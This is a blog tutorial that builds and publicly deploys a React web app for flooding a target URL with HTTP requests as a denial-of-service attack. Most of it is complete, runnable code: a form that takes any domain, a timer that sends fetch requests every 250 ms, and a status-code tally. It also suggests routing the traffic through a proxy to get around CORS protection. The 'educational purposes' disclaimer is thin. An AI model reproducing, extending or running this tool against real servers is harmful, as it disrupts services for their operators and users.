Writing a Denial of Service application: using React

· react

Developers learn how to defend HTTP servers by securing them from Sql Injection and other attacks. What about HTTP Flooding. You can’t defend against it, because how can you know if the request is coming from a genuine user of your server or not. It is a type of volumetric attacks known as Denial of Service attack. In a nutshell, it is a bombardment attack, a big volume of requests all at once to take down the server by either making it crash or slow enough to affect users.

Here I will write a web application to just do that. Note, I am not encouraging attacking other sites, it is basically for educational purposes, so use it at your own risk. Will be using React to make it. Will also host it publicly using Netlify.

I expect you to know Javascript, HTML and the basics of React.

The entire source code can be found at: https://github.com/Morr0/Denial-Of-Service

Terminology:

  • An attack is basically one or more requests hitting the same endpoint for malicious reasons.
  • Bombarding means attacking in volume.

Setting up:

Will create a new React app in the directory of your choice:

npx create-react-app <Name Goes Here> 

After creation, it will tell us to cd <Name of directory>. That is go to that directory. And run with yarn run. Will run the development server and open a browser tab. Takes time the first time it is run. Now cool.

Building for a production (you don’t need to do it now but later):

yarn build

After build will prompt us with:

serve -s build

serve is a static site server. Since we built a React SPA, then it is now a static site. Note that serve isn’t the only option to run this in, there are others. If you don’t have serve installed, just install it like so:

npm i -g serve

Now if you want to host this application on Netlify after completion (or maybe now), I recommend registering with them. Their free tier is quite generous. You can always host static sites on AWS S3 like in the following article, bear the costs: https://medium.com/bb-tutorials-and-thoughts/how-to-build-a-react-static-website-with-aws-s3-1c448ab47f62

Will remove all .css files as well all logos and testing files.

Coding the components:

Will create a directory in src named components to house all the components. In that directory will create new files Initiator.js and Responses.js. Will come back to why I made them in a bit. In each will add the following code to Initiator.js:

const Initiator = () => {
 return (<h1>Initator component</h1>); 
};

export default Initiator;

And the same except with different naming to Responses.js.

Now in the App.js that was generated by React. Will clean unneeded dependencies. Will add reference to the components we created above and render them:

import Initiator from "./components/Initiator";
import Responses from "./components/Responses";

function App() {
 return (
		<div className="App">
			<Initiator />
			<hr/>
			<Responses />
		</div>
	);
}

export default App;

Run the application and we should see the h1s from above.

Now let’s plan the application state. There will be 2 modes, ‘attacking’ and ‘not attacking’. When attacking, I need to be pumping out API calls and when not will be quite. When attacking will count the attacks as well as map responses to a table of HTTP status code to how many requests returned that.

The Initiator component is what initiates and stops an attack on the specific endpoint we choose.

The Responses component will display a table of 2 columns where the first is the status codes and the second is the number of requests responded with that status code. This is all assuming the website can be reached. If cannot be reached either due to incorrect (non-existent) endpoint or CORS issues, will issue an error, not proceed and stop the attack. Will discuss CORS issues later in the remarks section but it is a protection for users in the wild internet.

CORS imposes a problem because in a browser environment you can’t hit an endpoint that does not allow your website domain to consume it, in reality the browser reaches it but the browser blocks it from the user. You could go around that using a no-cors mode but in return you won’t be able to view anything from the response. By anything I literally mean anything, that is status code, headers and body.

For this project, CORS is a blessing because you don’t want to bombard an HTTP server however you like. I will discuss a workaround in the remarks.

Will implement the App component last. Going back to the Initiator component. Will destructure the props. You can use props.* if you want, doesn’t matter:

const Initiator = ({attack, attacking, setAttacking, setTarget}) => {
 const submit = (e) => {
 e.preventDefault();

 attack();
 };

 return (
 <div>
 <h1>Attack panel</h1>
 <form onSubmit={submit}>
 {attacking
 ? <div>
 <button type="button" onClick={() => setAttacking(false)}>Stop attack</button>
 </div>
 : <div>
 <input type="text" placeholder="Domain name or IP address" onChange={(e) => setTarget(e.target.value)} required />
 <button type="submit">Attack</button>
 </div>
 }
 </form>
 </div>
 );
};

export default Initiator;

Here I am taking 4 props (attack, attacking, setAttacking and setTarget). attack is a function I am calling when the form is submitted. Next, creating the HTML layout, notice that we are conditionally rendering based on the attacking value. If currently in attacking mode will have a button to stop attacking otherwise will ask for an endpoint to attack and submit. Note the required attribute in the <input> of the endpoint because I won’t roll custom validation. Later on after finishing will add custom validation to verify the input value is really an HTTP/S endpoint.

That’s it for the initiator component. Note all props in this case will come from the parent. Props are reactive and so when their value from the parent changes, here they will change. That’s why I am using React.

Next the Responses component:

const Responses = ({target, requests, responsePairs, httpError}) => {
 if (httpError) return <h2>The endpoint above was either blocked by CORS or non-existent</h2>;

 if (responsePairs.length === 0) return null;

 return (
 <div>
 <h1>Responses of {requests} requests at: {target}</h1>
 <table>
 <thead>
 <tr>
 <th>Response</th>
 <th>Count</th>
 </tr>
 </thead>
 <tbody>
 {
 responsePairs.map((responsePair) => {
 const key = responsePair[0];
 const value = responsePair[1];

 return (
 <tr key={key}>
 <th>{key}</th>
 <th>{value}</th>
 </tr>
 );
 })
 }
 </tbody>
 </table>
 </div>
 );
};

export default Responses;

Here basically taking 4 props. Firstly I am checking if an error exists, this is important. Now Javascript’s fetch API when it errors, it won’t tell the difference between a CORS or a non-existent endpoint, the reason I am talking about fetch is because will use it later. You can always write more code to see if an endpoint exists or not.

Next note returning null if no responses. This is completely valid React and in this case accounting for no responses yet or when the page loads up. When you return null, React continues loading the component like a one that has something to render except with null there is nothing to render.

Now into creating a table, in React you must wrap table <tr> with either <thead> or <tbody> and this also follows HTML standards. For more on tables look at: https://www.w3schools.com/html/html_tables.asp

Now you might have noticed I am looping over an array of arrays, the reason for that is because of separation of concerns. I could pass a Map data structure which I will be using in the App component. But why? First thing first it doesn’t a map function to map all entries to render, you would need to write extra code.

Now all done with the components.

The App component:

Here is where the action is. Will define the following states:

const [attacks, setAttacks] = useState(new Map());
const [count, setCount] = useState(0);
const [target, setTarget] = useState("");
const [attacking, setAttacking] = useState(false);
const [httpError, setHttpError] = useState(false);

Why did I do the above? Well because I want React reactivity as well as all the goodies that come with using state. To effectively render components, I need to have the state tracked by React. This following article goes into detail why and how: https://reactjs.org/docs/hooks-state.html

Please don’t forget to import the useState:

import {useState} from "react";

Now to attack I will need the attack function defined:

const attack = () => {
		console.log(target);

		if (!target){
			setAttacking(false);
			setTarget("");
			return;
		}

		console.log("Testing first hit")
		fetch(target)
		.then((res) => {
			setAttacking(true);
			setHttpError(false);

			add(res.status.toString());
			console.log("Successfully hit first time, starting bombardment");
		})
		.catch((e) => {
			if (e instanceof TypeError){
				setHttpError(true);
			}

			setAttacking(false);
			console.log("Unsuccessfully hit the first endpoint, abolishing procedure");
		});
	};

Lets unpack, first will check if the target is null, if so will set attacking to false and return. The target is null when you stop an attack by a button.

Next will use the fetch function to issue an API call. Note I am handling the then, this is the Javascript implementation of a successful operation by a Promise, since fetch returns a Promise. In the successful case, I will enable attacking, set no error and call the add function. Will define the add function soon. In the case of an error, an error could be due to non-existent endpoint or CORS we are handling it in the catch function. Will disable attacking and if the error is TypeError will set httpError to true. Now an TypeError occurs when non-existent endpoint is hit or a CORS issue.

A caveat here if you don’t know it. A HTTP response code of 400 or more is not an error. Errors are in the case the function errors due to incorrect input or network reasons.

There is no way to know why the error occured here. Also the request timeout is not handled. Different browsers have different values of when to timeout a request. Generally you could implement it to timeout after 10 seconds. But then if takes 10 seconds to return a response, you might as well stop the attack because the server is already slow if not dying.

I will keep it simple and not handle those cases. Basically I want to use the application just for endpoints that I know work.

Will define the add function:

const addFunc = (statusCode) => {
	setAttacks((old) => {
		const newAttacks = new Map(old.entries());
		let value = old.get(statusCode) ?? 0;
		value++;
		newAttacks.set(statusCode, value);
		return newAttacks;
	});
	setCount((old) => old + 1);
};
const add = useCallback(addFunc, []);

Here basically wrapping addFunc in add so it doesn’t get rerendered everytime this component gets redrawn. In reality this won’t get redrawn but there was a warning I got when using useEffect later which may cause some inefficiencies. The logic is basically to copy the old Map to a new one while adding the new value. There maybe a more efficient way to handle Map changes but since the maximum amount would be the number of available HTTP status codes, I am not concerned, won’t even get close to 10 different response codes from a single endpoint.

You might have noticed something unusual, here I am not depending on the state value. I am setting it using the setter of the state by a an action. This is really cool, so we don’t need to depend on any state at any given time. All code is executed on demand.

Be sure to include useCallback from React.

Sweet. The last thing to leverage is useEffect. Now this function basically resembles side effects of state changes or re-renderings. In this case I will be depending on three states (attacking, target and the add function callback (it is a state technically)):

useEffect(() => {
	const interval = setInterval(() => {
		if (!attacking){
			clearInterval(interval);
			return;
		}

		fetch(target).then((res) => add(res.status.toString()));
	}, 250);

	return () => clearInterval(interval);
}, [attacking, target, add]);

Now useEffect will only be called once any dependency changes and on render the first time. Here I am creating a timer that repeats until not attacking anymore. It calls the endpoint and returns the status to the add callback function. I am not handling the catch case of Promises because here the code is running for a second time given the first time it ran was successful and no errors happened. Now it is highly unlikely an endpoint will get deleted/removed while bombarding it so just ignore this edge case. Note the return of the callback of useEffect, we need that to stop the timer, if it wasn’t there will have a memory leak and the timer keeps running even after the component is unmounted. Here it won’t be unmounted however in a big application with many components, one will at least consume something that needs to be cleaned. Make sure to import the useEffect hook.

Read more about useEffect below: https://reactjs.org/docs/hooks-effect.html

Now done with the code. All good. Below is all the code of the App component file:

import { useCallback, useEffect, useState } from "react";

import Initiator from "./components/Initiator";
import Responses from "./components/Responses";

function App() {
	const [attacks, setAttacks] = useState(new Map());
	const [count, setCount] = useState(0);
	const [target, setTarget] = useState("");
	const [attacking, setAttacking] = useState(false);
	const [httpError, setHttpError] = useState(false);

	const addFunc = (statusCode) => {
		setAttacks((old) => {
			const newAttacks = new Map(old.entries());
			let value = old.get(statusCode) ?? 0;
			value++;
			newAttacks.set(statusCode, value);
			return newAttacks;
		});
		setCount((old) => old + 1);
	};
	const add = useCallback(addFunc, []);

	useEffect(() => {
		const interval = setInterval(() => {
			if (!attacking){
				clearInterval(interval);
				return;
			}

			fetch(target).then((res) => add(res.status.toString()));
		}, 250);

		return () => clearInterval(interval);
	}, [attacking, target, add]);

	const attack = () => {
		console.log(target);

		if (!target){
			setAttacking(false);
			setTarget("");
			return;
		}

		console.log("Testing first hit")
		fetch(target)
		.then((res) => {
			setAttacking(true);
			setHttpError(false);

			add(res.status.toString());
			console.log("Successfully hit first time, starting bombardment");
		})
		.catch((e) => {
			if (e instanceof TypeError){
				setHttpError(true);
			}

			setAttacking(false);
			console.log("Unsuccessfully hit the first endpoint, abolishing procedure");
		});
	};

	return (
		<div className="App">
			<Initiator attack={attack} setTarget={setTarget} attacking={attacking} setAttacking={setAttacking} />
			<hr/>
			<Responses target={target} requests={count} responsePairs={Array.from(attacks)} httpError={httpError} />
		</div>
	);
}

export default App;

Great. Run it and test it yourself.

Deploying to Netlify:

You can skip it if you not interested in Netlify hosting.

Make sure you have an account. Install Netlify like:

npm i -g netlify-cli

Will build the React app. By default the build artifact is at ./build. Will deploy to Netlify, if not logged in will open up a browser to ask you to authorize the CLI:

netlify deploy

Will ask you for site name. Then will also ask you for the build location. I put ./build.

Done. It will give me a draft url and tell me if I need to publish it. Will check the website works just fine using the draft url. Will publish it next section.

Will find the website in the Netlify dashboard. We built it manually. You can have a CI/CD to your site through integrating it with your GitHub.

Adding the endpoint validation and redeploying:

Ok now will add the validation to the Initiator component and make sure to only allow a valid HTTP url. I can write a fancy Regular Expression for that. But I will just check if there is http:// or https://. I won’t recommend this in production, there is so many ways to game it. Like putting in hhhttps:// and being fine. I am not that familiar with regular expressions at the current time, what occured to me is no one will want to attack an invalid Url so yeah.

Will first pass the target state from the App component to the initator component as a prop and check for it in the submit function:

if (!target.includes("http://") && !target.includes("https://")){
 alert("Please provide a valid endpoint");
 return;
}

That’s it for the code. Will rebuild.

Will redeploy it to Netlify:

netlify deploy

And publish to production:

netlify deploy --prod

Here is it: https://denial-of-service.netlify.app/ I might have removed it if the URL is not found.

Remarks:

Now I ignored many corner cases. Like validation in the last section, I kept it to a minimal. It was not targetted to be a production ready so why bother. No styling as well.

CORS is an issue for web developers. It is browser only. There is not a single easy way to disable it. To overcome it, I suggest first you get acquainted with it. To overcome it, you need the HTTP server you are communicating with to either return CORS headers which are:

  • Access-Control-Allow-Origin
  • Access-Control-Allow-Methods
  • Access-Control-Allow-Headers

The values of these headers must correspond to your website or with * which means anyone can use it. You have to have control over the server to be able to issue those.

Another way to overcome CORS is to use a proxy server that basically forwards requests on your behalf to the target endpoint.

If we hosted this website on the same domain as the target, CORS won’t even be an issue because the source and the target domains are the same.

Conclusion:

It was quite a journey. You love web development until you face CORS issues.

Thanks for reading this article.